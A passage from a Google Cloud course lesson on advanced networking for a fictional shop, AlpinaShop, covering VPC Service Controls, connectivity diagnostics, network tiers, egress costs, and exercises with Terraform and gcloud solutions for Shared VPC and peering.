WHERE DATE(timestamp) >= DATE_SUB(CURRENT_DATE(), INTERVAL 14 DAY)
ORDER BY timestamp DESCOnly when the list is clean or justified do you apply it for real (--enable-dry-run-config and promotion of the perimeter).
The warning that must be taken seriously
VPC Service Controls is the Google Cloud feature that has locked the most people out of their own environment.
What it usually breaks, and what has to be anticipated beforehand:
| What breaks | Why | Fix |
|---|---|---|
| The BigQuery web console | Lucía's browser comes out on an IP that is not included | Add the range to the access level |
| Cloud Build accessing a bucket in the perimeter | The alpinashop-cicd project is outside |
A perimeter bridge or include it |
| Cloud Shell | It comes out on a Google IP, not yours | A specific access level or your own VM |
| Third-party tools (Looker Studio, BI) | Outside the perimeter | A specific ingress rule |
| Legitimate exports to another project | It is exactly what it blocks | An explicit egress rule (egress policy) |
And there are two golden rules:
- Never enable a perimeter on a Friday. It is a cliché and it is literally true.
--dry-runis not optional. It is the difference between a security control and a day-long outage.
Warning. The design of perimeters, access levels and ingress and egress rules has direct security and compliance implications. What is here is a sound teaching model, but before protecting personal or financial data in production it must be reviewed by a security and compliance professional.
- Network diagnostics: Network Intelligence Center and a real failure
Network Intelligence Center brings together the tools that turn network diagnosis into something deterministic.
| Tool | What it does |
|---|---|
| Connectivity Tests | Simulates a packet from A to B and states exactly what allows or blocks it |
| Network Topology | A visual map of real traffic between regions, zones and services |
| Performance Dashboard | Latency and packet loss between zones and regions |
| Firewall Insights | Unused rules, rules shadowed by others, overly permissive ones |
| Flow Logs | A record of the actual connections |
A real failure, solved with tools
The facts. Monday morning. The stock synchronisation process has been failing for three hours: Connection timed out when connecting to 192.168.10.20:3306. It worked on Friday. Nobody has touched anything (they say).
Step 1 — Is the tunnel up?
gcloud compute vpn-tunnels list --project=alpinashop-red \
--format="table(name,status,detailedStatus)"NAME STATUS DETAILED_STATUS tunel-sabadell-0 ESTABLISHED Tunnel is up and running tunel-sabadell-1 ESTABLISHED Tunnel is up and running
Both tunnels up. It is not the VPN. This is where many people's diagnosis ends, concluding "it must be Sabadell's problem" and picking up the phone.
Step 2 — Is BGP up and what routes are there?
gcloud compute routers get-status alpinashop-router-euw1 \
--region=europe-west1 --project=alpinashop-red \
--format="yaml(result.bgpPeerStatus)"Zero learned routes. The tunnel is established and so is the BGP session, but Sabadell has stopped advertising 192.168.10.0/24. The packet does not know which way to go out.
Step 3 — Confirm it with a connectivity test, which gives an unarguable verdict:
gcloud network-management connectivity-tests create diag-erp \
--source-project=alpinashop-prod \
--source-ip-address=10.10.0.15 \
--destination-ip-address=192.168.10.20 \
--destination-port=3306 \
--protocol=TCP \
--project=alpinashop-red
gcloud network-management connectivity-tests describe diag-erp \
--project=alpinashop-red --format="yaml(reachabilityDetails)"reachabilityDetails:
result: UNREACHABLE
traces:
- steps:
- description: Initial state - instance
- description: Config checking state - apply egress firewall rule
state: APPLY_EGRESS_FIREWALL_RULE
- description: Config checking state - route
state: NO_ROUTE # <<<<<< verdict
causeCode: NO_ROUTE_FROM_ROUTE_TABLENO_ROUTE. It is not the firewall, it is not the tunnel: there is no route. The connectivity test has turned three hours of suspicion into thirty seconds of certainty.
Step 4 — The root cause. A call to the company that maintains the Sabadell router: on Saturday they updated the firmware and the BGP configuration was restored from a backup predating the VPN installation. The advertised network vanished from the configuration.
Step 5 — Fix and lessons. The provider restores the advertisement; the routes appear in under a minute and the process works again. What gets changed afterwards:
- An alert on
numLearnedRoutes == 0in Cloud Monitoring. It would have warned on Saturday night. - An alert on the VPN tunnel status (
vpn/tunnel_established). - The stock synchronisation stops failing silently: if it goes more than 30 minutes without updating, it alerts. The detection was done by a human three hours late, exactly what 06-04 was meant to avoid.
- The agreement with the shop's provider now includes notifying router changes.
Flow Logs: when you need to see the real traffic
VPC Flow Logs, enabled in section 4 with 50 % sampling, let you answer questions no other tool answers:
-- Who is talking to the ERP through the tunnel, and how much
SELECT
jsonPayload.connection.src_ip AS source,
jsonPayload.connection.dest_ip AS destination,
jsonPayload.connection.dest_port AS port,
COUNT(*) AS connections,
SUM(CAST(jsonPayload.bytes_sent AS INT64)) AS bytes
FROM `alpinashop-red.red.compute_googleapis_com_vpc_flows_*`
WHERE _TABLE_SUFFIX BETWEEN FORMAT_DATE('%Y%m%d', DATE_SUB(CURRENT_DATE(), INTERVAL 7 DAY))
AND FORMAT_DATE('%Y%m%d', CURRENT_DATE())
AND NET.IP_TO_STRING(NET.IP_FROM_STRING(jsonPayload.connection.dest_ip))
LIKE '192.168.10.%'
GROUP BY source, destination, port
ORDER BY bytes DESCThey are useful for three concrete things: investigating security incidents (who talked to that IP?), understanding cost (what traffic crosses zones or regions) and finding traffic that should not exist.
Their drawback is volume: they are expensive. That is why flow_sampling = 0.5, and that is why a sink to BigQuery with an expiry is preferable to long retention in Cloud Logging (06-06).
- Premium and Standard network service tiers
Google Cloud offers two network tiers for outbound traffic to the internet:
| Premium (default) | Standard | |
|---|---|---|
| Path | Over Google's private backbone to the point closest to the user | It goes out to the public internet from the originating region |
| Latency | Lower and more stable | Higher and variable |
| IP | Global anycast | Regional |
| Global load balancing | Yes | No: regional load balancers only |
| SLA | Yes | Lower |
| Price | Higher | Of the order of 25-30 % less |
The practical difference with an example: a customer in Berlin visiting AlpinaShop in europe-west1. With Premium, they enter Google's network in Berlin and the rest of the journey goes over Google's fibre. With Standard, the whole Berlin→Belgium journey goes over the public internet, with the latency and variability that implies.
Criteria:
| Case | Tier |
|---|---|
| End-customer traffic | Premium. Latency is conversion |
| Global load balancer, CDN, anycast IP | Premium (it is mandatory) |
| Nightly backups to another provider | Standard: nobody is waiting |
| Development environments | Standard |
| Bulk transfers with no urgency | Standard |
AlpinaShop uses Premium for the shop — it is not negotiable, the global load balancer requires it — and could use Standard in alpinashop-dev, although the saving would be pennies.
- The cost of traffic: where the bill hides
This section is a preview of 07-05, but it belongs here because these are network decisions.
The rule that summarises 90 % of cases:
Ingress is free. Egress is charged. And the further away, the more expensive.
| Path | Indicative cost | Comment |
|---|---|---|
| Ingress from the internet | Free | Always |
| Within a zone, over internal IPs | Free | The ideal case |
| Between zones in the same region | ~$0.01/GB | It surprises everybody |
| Between regions within the EU | ~$0.02/GB | |
| Between continents | $0.05-0.15/GB | |
| Egress to the internet (Premium, first TBs) | ~$0.12/GB | |
| Egress to the internet via Cloud CDN | Lower | That is why the CDN saves money (03-03) |
| Egress over a VPN tunnel | Internet rate + the tunnel's cost |
The four classic hiding places, with their remedy:
- Inter-zone traffic for high availability. Cloud SQL in regional HA replicates continuously between zones, and that is charged. It is the price of availability and it is right to pay it — but you have to know it is there before being surprised.
- Application and database in different zones for no reason. Every query crosses a zone and pays. Deliberately colocating things that talk to each other a lot is free and saves money.
- Logs and metrics that cross regions. A log sink from
europe-west1to a bucket inus-central1pays intercontinental traffic for every line of log. Log buckets go in the same region. - Backups and exports to another provider. Taking 500 GB a month out to another cloud is tens of euros a month that nobody attributed to anybody.
The three saving levers that are applied in the network:
- CDN (03-03): every response served from cache does not leave the origin. It is the biggest lever for a site with images.
- Colocation: put things that call each other constantly in the same zone.
- Compress:
gziporbrotliat the load balancer reduces the billed bytes and also improves the experience.
And the breakdown by service is queried with the billing export from 01-04:
SELECT
service.description AS service,
sku.description AS item,
ROUND(SUM(cost), 2) AS cost_eur
FROM `alpinashop-datos.facturacion.gcp_billing_export_v1_XXXX`
WHERE DATE(usage_start_time) >= DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
AND (LOWER(sku.description) LIKE '%egress%'
OR LOWER(sku.description) LIKE '%network%'
OR LOWER(sku.description) LIKE '%inter-zone%'
OR LOWER(sku.description) LIKE '%inter-region%')
GROUP BY service, item
HAVING cost_eur > 0.5
ORDER BY cost_eur DESCCommon Mistakes and Tips
- Not having an addressing plan. The day two ranges overlap, the only solution is to renumber with a service outage. Ten minutes with a spreadsheet avoids a horrible weekend.
- Using
172.16.0.0/12in the VPC. It is Docker's default range; containers will not be able to reach those IPs. - Creating the VPC with
auto_create_subnetworks = true. It creates a subnet in every region with ranges you did not choose and that will probably clash with something. - Putting the shared network in the production project. It forces you to give production permissions to somebody who only needs a development subnet. A dedicated, empty host project.
- Granting
compute.networkUserover the whole network. It is granted on the specific subnet. That is half the value of Shared VPC. - Forgetting the
serverless-robot-prodagent's permission when using Cloud Run with Direct VPC on a Shared VPC. A cryptic error guaranteed. routing_mode = REGIONALon a network that will grow. Changing it later restarts the BGP sessions.- Expecting transitivity from peering. A↔B and B↔C do not give A↔C. Ever.
- Peering without
--export-custom-routes. The peering gets established and even so you cannot reach the VPN on the other side. - Not advertising the private services access range. A perfect tunnel and Cloud SQL unreachable from the site.
- Building the VPN with a single tunnel. Any maintenance on the other side is an outage. Two tunnels, always.
- Enabling VPC Service Controls without
--dry-run. It is the most effective way of locking out your whole team, yourself included. - Forgetting that Cloud Shell comes out on a Google IP. With a perimeter active, your own console stops working and it looks like a platform failure.
- Diagnosing networks with
pingand guesswork. Connectivity tests give a verdict naming the specific rule that blocks it. - Ignoring inter-zone traffic. It is not free, and in replicated architectures it is an appreciable part of the bill.
- Tip: alert on
numLearnedRoutesand on the tunnel status. They are two metrics that warn of a hybrid failure before a business process notices it. - Tip: keep the VPN pre-shared key in Secret Manager, not in the
.tfor in your terminal history. - Tip: enable Flow Logs with sampling, not at 100 %. At 50 % you see what you need for half the cost.
Exercises
Exercise 1 — Designing the addressing for an expansion
AlpinaShop is growing and the network has to be planned for the following:
- A second region
europe-southwest1(Madrid) for high availability, with the same three subnets. - Two new physical shops: Girona and Zaragoza, each with its own LAN and its own VPN.
- A logistics partner that will connect over Private Service Connect to check shipment status.
- A load-testing environment that is created and destroyed, isolated from everything else.
- A forecast GKE cluster with up to 200 pods.
Draw up the complete addressing table stating range, use, region and justification for the size. Point out what decisions you take so as not to run out of space in five years and which ranges you explicitly forbid.
Exercise 2 — Implementing the Shared VPC with correct permissions
Write the Terraform that:
- Turns
alpinashop-redinto a host project and attachesalpinashop-prod,alpinashop-devandalpinashop-datos. - Creates the subnets
sn-web-euw1,sn-datos-euw1andsn-dev-euw1with Private Google Access and Flow Logs at 50 %. - Grants permissions such that:
gcp-desarrollo@can only usesn-dev-euw1;gcp-datos@onlysn-datos-euw1; the Cloud Run service account can usesn-web-euw1; and nobody butgcp-infra@can modify firewall rules. - Defines who has
compute.xpnAdminand at what level of the hierarchy.
Also explain what would happen if Dani tried to create a VM in sn-datos-euw1 and exactly what error he would see.
Exercise 3 — Diagnosing three connectivity failures
For each of these three cases, state the most likely diagnosis, how you would confirm it with specific tools, and how you would fix it.
(a) The alpinashop-web service on Cloud Run, with Direct VPC configured, cannot connect to 192.168.10.20:3306 (the ERP). From a VM in sn-web-euw1 it does work. The tunnels are ESTABLISHED and BGP learns 192.168.10.0/24.
(b) Lucía cannot open the BigQuery console from her laptop at home. From the office she can. The error says VPC Service Controls: Request is prohibited by organization's policy. The perimeter has been active for two weeks and nobody had complained until now.
(c) A VM in the alpinashop-datos project (its own VPC, peered with alpinashop-vpc) needs to reach the Sabadell ERP. The peering is ACTIVE, the VM reaches the VMs in sn-web-euw1 without any trouble, but not 192.168.10.20.
Solutions
Solution 1 — Designing the addressing for an expansion
Guiding principle: reserve whole /16 blocks per scope even if only a tiny fraction is used. The private space has 16.7 million addresses in 10.0.0.0/8: saving ranges is a false economy and the number one cause of renumbering.
| Block | Range | Use | Region / site | Justification for the size |
|---|---|---|---|---|
| Google Cloud, region 1 | 10.10.0.0/16 |
Existing | europe-west1 |
65k IPs, plenty |
10.10.0.0/24 |
sn-web-euw1 |
Web workloads | ||
10.10.1.0/24 |
sn-datos-euw1 |
Databases | ||
10.10.2.0/24 |
sn-dev-euw1 |
Development | ||
10.10.8.0/22 |
GKE pods (secondary) | 200 pods need ~1,024 IPs with headroom for rescheduling | ||
10.10.12.0/24 |
GKE services (secondary) | 256 services, more than enough | ||
10.10.16.0/24 |
Proxy-only subnet | Internal load balancers | ||
10.10.20.0/24 |
Cloud Run Direct VPC | It consumes an IP per instance; a /24 is generous |
||
10.10.240.0/20 |
Private services access | Google requires it; do not reduce it | ||
| Google Cloud, region 2 | 10.20.0.0/16 |
Exact mirror | europe-southwest1 |
The same scheme with the second octet changed |
10.20.0.0/24 |
sn-web-esw1 |
|||
10.20.1.0/24 |
sn-datos-esw1 |
|||
10.20.2.0/24 |
sn-dev-esw1 |
|||
10.20.240.0/20 |
Private services region 2 | |||
| Future regions | 10.30.0.0/16 … 10.90.0.0/16 |
Reserved | — | One /16 per region, unassigned |
| Load testing | 10.100.0.0/16 |
Ephemeral, isolated VPC | europe-west1 |
Deliberately outside the production block |
| Physical shops | 192.168.0.0/16 |
Site block | — | The existing scheme is kept |
192.168.10.0/24 |
Sabadell | Existing | ||
192.168.11.0/24 |
Girona | New | ||
192.168.12.0/24 |
Zaragoza | New | ||
192.168.13.0/24 … 192.168.49.0/24 |
Reserved: 37 more shops | |||
192.168.20.0/24 |
Head office | Existing | ||
| PSC endpoints | 10.10.250.0/24 |
Consumer endpoints | europe-west1 |
Outside the normal subnets, easy to identify |
10.20.250.0/24 |
The same for region 2 | |||
| FORBIDDEN | 172.16.0.0/12 |
Docker | — | Clashes with container bridge networks |
| FORBIDDEN | 169.254.0.0/16 |
Link-local | — | Used by BGP and by GCP metadata |
| FORBIDDEN | 10.0.0.0/16, 10.1.0.0/16 |
Reserved for mergers | — | The "obvious" ranges the company you buy tends to use |
The five decisions that avoid renumbering over five years:
- One
/16per region, with the second octet as the region identifier.10.X0.0.0/16. Looking at an IP and knowing the region without consulting anything has enormous operational value during an incident. - An identical subnet scheme across regions, changing only the second octet. Firewall rules, scripts and diagrams are replicated with a find-and-replace.
- All the shops go in
192.168.0.0/16with consecutive/24s. The BGP advertisement can be aggregated and one firewall rule covers all present and future shops. - Load testing in
10.100.0.0/16, outside the production block and in its own unpeered VPC. If a runaway test floods something, it cannot reach production. And because it is ephemeral, its range can be reused with no risk. - Reserving
10.0.0.0/16and10.1.0.0/16without using them. They are the ranges chosen by default by anybody who does not plan. The day AlpinaShop buys another company, it is almost certain the acquired company uses one of those two — and having them free avoids renumbering somebody else's network.
On the logistics partner: it consumes no addressing of yours. With PSC it creates an endpoint in its VPC with its range, pointing at AlpinaShop's service attachment. Neither party sees the other's network, there is no overlap risk and there are no routes to manage. This is exactly PSC's use case as against peering, and that is why it has become the standard for connecting to partners.
Solution 2 — Implementing the Shared VPC with correct permissions
# ------------------------------------------------------------------
# 1. Host project and attachment of service projects
# ------------------------------------------------------------------
resource "google_compute_shared_vpc_host_project" "host" {
project = "alpinashop-red"
}
resource "google_compute_shared_vpc_service_project" "servicios" {
for_each = toset(["alpinashop-prod", "alpinashop-dev", "alpinashop-datos"])
host_project = google_compute_shared_vpc_host_project.host.project
service_project = each.value
}
# ------------------------------------------------------------------
# 2. Network and subnets
# ------------------------------------------------------------------
resource "google_compute_network" "alpinashop" {
project = "alpinashop-red"
name = "alpinashop-vpc"
auto_create_subnetworks = false
routing_mode = "GLOBAL"
}
locals {
subredes = {
"sn-web-euw1" = "10.10.0.0/24"
"sn-datos-euw1" = "10.10.1.0/24"
"sn-dev-euw1" = "10.10.2.0/24"
}
}
resource "google_compute_subnetwork" "subredes" {
for_each = local.subredes
project = "alpinashop-red"
name = each.key
ip_cidr_range = each.value
region = "europe-west1"
network = google_compute_network.alpinashop.id
private_ip_google_access = true
log_config {
aggregation_interval = "INTERVAL_10_MIN"
flow_sampling = 0.5
metadata = "INCLUDE_ALL_METADATA"
}
}
# ------------------------------------------------------------------
# 3. Granular permissions PER SUBNET
# ------------------------------------------------------------------
resource "google_compute_subnetwork_iam_member" "dev" {
project = "alpinashop-red"
region = "europe-west1"
subnetwork = google_compute_subnetwork.subredes["sn-dev-euw1"].name
role = "roles/compute.networkUser"
member = "group:[email protected]"
}
resource "google_compute_subnetwork_iam_member" "datos" {
project = "alpinashop-red"
region = "europe-west1"
subnetwork = google_compute_subnetwork.subredes["sn-datos-euw1"].name
role = "roles/compute.networkUser"
member = "group:[email protected]"
}
# Cloud Run with Direct VPC: the permission is needed by the SERVICE AGENT,
# not by the service's own service account. It is the mistake nobody guesses.
resource "google_compute_subnetwork_iam_member" "run" {
project = "alpinashop-red"
region = "europe-west1"
subnetwork = google_compute_subnetwork.subredes["sn-web-euw1"].name
role = "roles/compute.networkUser"
member = "serviceAccount:service-${data.google_project.prod.number}@serverless-robot-prod.iam.gserviceaccount.com"
}
data "google_project" "prod" {
project_id = "alpinashop-prod"
}
# ------------------------------------------------------------------
# 4. Firewall: ONLY gcp-infra@ can touch it
# ------------------------------------------------------------------
resource "google_project_iam_member" "seguridad_red" {
project = "alpinashop-red"
role = "roles/compute.securityAdmin" # manages firewall rules
member = "group:[email protected]"
}
resource "google_project_iam_member" "admin_red" {
project = "alpinashop-red"
role = "roles/compute.networkAdmin" # subnets, routers, VPN, NAT
member = "group:[email protected]"
}
# The other teams only READ the network, so they can debug
resource "google_project_iam_member" "lectores_red" {
for_each = toset([
"group:[email protected]",
"group:[email protected]",
])
project = "alpinashop-red"
role = "roles/compute.networkViewer"
member = each.value
}
# ------------------------------------------------------------------
# 5. xpnAdmin: at FOLDER level, not project level
# ------------------------------------------------------------------
resource "google_folder_iam_member" "xpn_admin" {
folder = var.folder_compartido_id
role = "roles/compute.xpnAdmin"
member = "group:[email protected]"
}On compute.xpnAdmin. It is granted to gcp-infra@ at the level of the compartido folder, not the project, because that is where the host lives and from where the projects are attached. Granting it at organization level would give the power to turn any company project into a host, which is more than is needed. Applying the least privilege of 03-04: the lowest level of the hierarchy at which the permission works.
At AlpinaShop, gcp-infra@ is Marta, and this is exactly the kind of permission that in 07-04 will become a candidate for temporary elevation rather than being permanent.
What would happen if Dani tried to create a VM in sn-datos-euw1:
$ gcloud compute instances create prueba-dani \
--project=alpinashop-dev --zone=europe-west1-b \
--subnet=projects/alpinashop-red/regions/europe-west1/subnetworks/sn-datos-euw1
ERROR: (gcloud.compute.instances.create) Could not fetch resource:
- Required 'compute.subnetworks.use' permission for
'projects/alpinashop-red/regions/europe-west1/subnetworks/sn-datos-euw1'The missing permission is compute.subnetworks.use, which is part of roles/compute.networkUser. The message names the specific subnet, which makes the diagnosis immediate.
And there is a revealing nuance: if Dani runs gcloud compute networks subnets list --project=alpinashop-red, he will see sn-dev-euw1 and also sn-datos-euw1, because he has networkViewer. He can see that it exists, but not use it. That distinction between seeing and using is deliberate: without visibility you cannot diagnose anything, and with networkViewer you cannot do any harm.
Solution 3 — Diagnosing three connectivity failures
(a) Cloud Run cannot reach the ERP, but a VM in the same subnet can.
Diagnosis. The fact that a VM in sn-web-euw1 does get through proves that the route, the BGP and the firewall are fine. What differs between the VM and Cloud Run is how the traffic leaves. The almost certain cause is --vpc-egress: if it is on private-ranges-only, traffic to RFC 1918 ranges should go over the VPC… and 192.168.10.0/24 is RFC 1918, so that fits. Two hypotheses remain:
- The service does not actually have Direct VPC applied (it was configured on the service but the revision receiving traffic predates the change). It is the most frequent cause: the network configuration is applied per revision, and if it was changed with
--no-traffic, 100 % of the traffic is still on the old revision with no network. - The subnet assigned to Direct VPC is not
sn-web-euw1but another one without the correct routes.
Confirmation.
# Which revision is receiving traffic and what network it has
gcloud run services describe alpinashop-web --region=europe-west1 \
--format="yaml(spec.traffic, spec.template.metadata.annotations)"
# Connectivity test taking Cloud Run as the source
gcloud network-management connectivity-tests create diag-run-erp \
--source-cloud-run-revision=alpinashop-web-00042-abc \
--destination-ip-address=192.168.10.20 \
--destination-port=3306 --protocol=TCP \
--project=alpinashop-redFix. Redeploy applying the network and giving traffic to that revision:
gcloud run services update alpinashop-web --region=europe-west1 \
--network=alpinashop-vpc --subnet=sn-web-euw1 \
--vpc-egress=private-ranges-only
gcloud run services update-traffic alpinashop-web --region=europe-west1 --to-latestAnd check that the serverless-robot-prod agent has networkUser on sn-web-euw1; without it, the deployment would have failed with a rather unhelpful permissions error.
(b) Lucía cannot get into BigQuery from home.
Diagnosis. The message says it literally: the VPC Service Controls perimeter is blocking the request. The acceso_corporativo access level includes 88.20.145.0/24 (the office) and 192.168.10.0/24 (Sabadell), but not Lucía's home IP. From the office it works because she comes out on the permitted range.
That "nobody had complained until now" does not mean it is new: it means nobody had worked from outside since the perimeter was enabled. It is the typical pattern — the perimeter is enabled, it works, and two weeks later somebody works from home and the problem appears.
Confirmation.
SELECT
timestamp,
protopayload_auditlog.authenticationInfo.principalEmail AS who,
protopayload_auditlog.requestMetadata.callerIp AS source_ip,
protopayload_auditlog.metadata.violationReason AS reason
FROM `alpinashop-datos.auditoria.cloudaudit_googleapis_com_policy`
WHERE protopayload_auditlog.authenticationInfo.principalEmail = '[email protected]'
AND DATE(timestamp) = CURRENT_DATE()
ORDER BY timestamp DESC LIMIT 20The callerIp field shows the home IP and violationReason will say NO_MATCHING_ACCESS_LEVEL.
Fix. There are three options, and the worst one is the most tempting:
| Option | Assessment |
|---|---|
| Add Lucía's home IP to the access level | Bad. Home IPs are dynamic and this will repeat with every person and every IP change. It turns the access level into an unmanageable list |
| Have Lucía connect over the corporate VPN and come out on the office IP | Acceptable, but it means building and maintaining a user VPN |
| Device-based access level, with BeyondCorp Enterprise / Endpoint Verification: access is allowed from a managed, encrypted machine with a locked screen, regardless of IP | The right one, and it is the practical implementation of the zero trust developed in 07-04 |
The third is more work up front and it is the only one that scales: the control stops being "where you connect from" and becomes "which device you are and who you are", which is what really matters. While it is being rolled out, option 2 is a reasonable bridge.
(c) The alpinashop-datos VM reaches sn-web-euw1 but not Sabadell.
Diagnosis. It is the peering transitivity problem in its purest form. The data VPC is peered with alpinashop-vpc, and that is why it reaches its subnets. But the route to 192.168.10.0/24 is not a subnet of alpinashop-vpc: it is a route learned over BGP from the VPN tunnel. And by default peering does not export routes learned over BGP or static routes: only subnet routes.
Besides, even if they were exported, there is a second obstacle: peering is not transitive, so the return traffic from Sabadell would not know how to get back to the data VPC either unless its range is also advertised over BGP.
Confirmation.
# See the routes the peering exports and imports
gcloud compute networks peerings list-routes datos-hacia-red \
--network=vpc-datos --region=europe-west1 --direction=INCOMING \
--project=alpinashop-datos192.168.10.0/24 will not appear in the list.
Fix. There are two paths, and the difference between them is the moral of the lesson:
Path 1 — Patch the peering. Enable custom route export on the alpinashop-vpc side and import on the data side, and also advertise the data VPC's range to Sabadell over BGP:
gcloud compute networks peerings update red-hacia-datos \
--network=alpinashop-vpc --export-custom-routes --project=alpinashop-red
gcloud compute networks peerings update datos-hacia-red \
--network=vpc-datos --import-custom-routes --project=alpinashop-datos
gcloud compute routers update alpinashop-router-euw1 \
--region=europe-west1 --advertisement-mode=custom \
--set-advertisement-groups=all-subnets \
--set-advertisement-ranges=10.30.0.0/16=vpc-datos \
--project=alpinashop-redIt works, but it leaves a topology that has to be remembered and documented, and that will break the next time somebody adds a network.
Path 2 — The right solution: remove the peering. alpinashop-datos is AlpinaShop's own project, in the same organization. It should not have its own peered VPC: it should be a service project of the Shared VPC. As soon as it is, its resources will be in alpinashop-vpc, they will see the VPN routes like any other resource, and the problem disappears with no configuration at all.
This is the lesson of the exercise, and of section 6: peering is used when the other network belongs to somebody else. Peering your own networks within the same organization creates permanent work to solve problems that Shared VPC does not have. If you find yourself exporting custom routes between two of your own VPCs, you chose the wrong tool.
Conclusion
AlpinaShop's network has gone from being one VPC in one project to being a designed network platform.
You can recognise when one VPC stops being enough by its seven signs, and you know that the first thing — before touching anything — is the addressing plan, with its inviolable rule: two ranges that could ever end up connected cannot overlap. With the decisions that make it durable: one /16 per region with the second octet as the identifier, an identical scheme across regions, reservations for what does not exist yet, and explicitly forbidden ranges — 172.16.0.0/12 because of Docker, 169.254.0.0/16 because of BGP, and the "obvious" ones reserved for the day you buy a company.
You have mastered Shared VPC: a dedicated, almost empty host project in the compartido folder, service projects that bring compute and billing, and the two roles that govern it — compute.xpnAdmin for attaching projects, granted at the folder and not at the organization, and compute.networkUser granted on the specific subnet, which is where half the value of the model lies. With the serverless-robot-prod agent's permission that nobody guesses, and with the uncomfortable truth that a VM is not migrated between networks: it is recreated.
You can distinguish peering with its three limitations — it is not transitive, ranges cannot overlap, quotas are aggregated — and you know --export-custom-routes is disabled by default and is the number one cause of "it is peered but I cannot get through". You have the decision table with its rule: my projects and one network to govern → Shared VPC; somebody else's network → peering; more than five networks and sites → Network Connectivity Center and its hub-and-spoke topology.
You know Private Service Connect in its three uses: endpoints with an IP of your own to Google's APIs — which, unlike Private Google Access, do work from the other side of the tunnel — consuming third-party services without sharing networks or ranges, and publishing your own. And you know why it has replaced peering as the standard way of connecting to partners.
You have connected the Sabadell shop for real: the table of the three hybrid options with bandwidth, latency, SLA, cost and lead time, the reasoned choice of HA Cloud VPN for kilobytes of stock, and the full implementation — a gateway with two interfaces, an external gateway, a Cloud Router with an ASN, two tunnels with IKEv2 and the secret in Secret Manager, two BGP sessions with priorities 100 and 200, firewall and verification. You properly understand BGP: ASN, advertised and learned routes, priorities, and why dynamic beats static as soon as there is more than one subnet. And you know that numLearnedRoutes: 0 with the tunnel ESTABLISHED means the problem is not yours.
You know how to govern route advertisement with --advertisement-mode=custom, including the private services access range without which Cloud SQL is unreachable from the site even though everything looks right, and you know the five classic routing mistakes with their symptom and their remedy.
You have raised a VPC Service Controls perimeter that answers the real risk: leaked credentials can no longer take the data out, because IAM authorises but the perimeter does not let it cross the boundary. With access levels, --dry-run as a non-negotiable step, the table of what usually breaks, and the twofold warning: never on a Friday, and have it reviewed by a security and compliance professional before production.
You know how to diagnose instead of guess: connectivity tests that return NO_ROUTE with the exact cause, topology, firewall insights and Flow Logs with sampling. You have followed a real failure from start to finish — tunnel up, BGP up, zero learned routes, firmware restored in Sabadell — and you have seen what gets changed afterwards: alerts on numLearnedRoutes, on the tunnel status, and on the freshness of the stock, because the detection was still being done by a human three hours late.
And you know the Premium and Standard tiers, and above all where the traffic bill hides: ingress is free, egress is charged, and inter-zone traffic — which almost nobody looks at — appears as soon as there is high availability. With the four classic hiding places and the three levers: CDN, colocation and compression.
That last section is the bridge. This lesson has revealed a part of the bill nobody was looking at, and it is not the only one: seven modules have gone by adding services — VMs, buckets, BigQuery, Dataflow, a cluster, Vertex AI endpoints, logs, traces, and now tunnels and Flow Logs — and nobody has opened the whole bill and understood it line by line.
Before that there is something more urgent. Security has been built in every module: firewall in 03-01, WAF in 03-05, IAM in 03-04, secrets and CMEK in 03-06, TLS in 03-07, now perimeters. But the whole has never been examined. The next lesson does exactly that: it reviews AlpinaShop's security layer by layer, from identity to detection, and honestly writes down the debt that remains.
Google Cloud Platform (GCP) Course
Module 1: Introduction to Google Cloud Platform
- What is Google Cloud Platform?
- Setting Up Your GCP Account
- A Tour of the GCP Console
- Projects, Resource Hierarchy and Billing
- Regions, Zones and the Shared Responsibility Model
- Cloud Shell and the gcloud CLI
Module 2: Core GCP Services
- Compute Engine: Virtual Machines on Google Cloud
- Cloud Storage: Object Storage
- Cloud SQL: Managed Relational Databases
- App Engine: Platform as a Service
- Google Kubernetes Engine (GKE)
- NoSQL Databases: Firestore, Bigtable and Spanner
- How to Choose the Right Compute Service
Module 3: Networking and Security
- VPC Networks
- Cloud Load Balancing
- Cloud CDN
- Identity and Access Management (IAM)
- Cloud Armor
- Secrets and Encryption: Secret Manager and Cloud KMS
- Cloud DNS, TLS Certificates and Publishing Services Securely
Module 4: Data and Analytics
- BigQuery: The Analytical Data Warehouse
- Cloud Dataflow: Batch and Streaming Data Processing
- Cloud Dataproc: Managed Spark and Hadoop
- Cloud Pub/Sub: Asynchronous Messaging
- Cloud Data Fusion: Code-Free Data Integration
- Orchestrating Pipelines with Cloud Composer and Workflows
- Data Governance and Dashboards with Dataplex and Looker Studio
Module 5: Machine Learning and AI
- Vertex AI: The Machine Learning Platform on GCP
- AutoML: Custom Models Without Writing Code
- TensorFlow on GCP: Training and Serving Models
- Natural Language API
- Vision API
- Generative AI on Vertex AI: Gemini Models and Embeddings
- MLOps: From Model to Product with Vertex AI Pipelines
Module 6: DevOps and Monitoring
- Cloud Build: Continuous Integration on GCP
- Cloud Source Repositories and Source Code Management
- Cloud Functions: Serverless Functions
- Cloud Monitoring (formerly Stackdriver): Metrics, Dashboards and Alerts
- Cloud Deployment Manager and Native Infrastructure as Code
- Cloud Logging and Cloud Trace: Logs, Traces and Diagnostics
- Terraform on GCP: Infrastructure as Code in Practice
Module 7: Advanced GCP Topics
- Hybrid and Multicloud with Anthos
- Serverless Computing with Cloud Run
- Advanced Networking: Shared VPC, Peering and Hybrid Connectivity
- Security Best Practices
- Cost Management and Optimization
- Reliability: SLOs, High Availability and Disaster Recovery
- Governance at Scale: Organization, Policies and Auditing
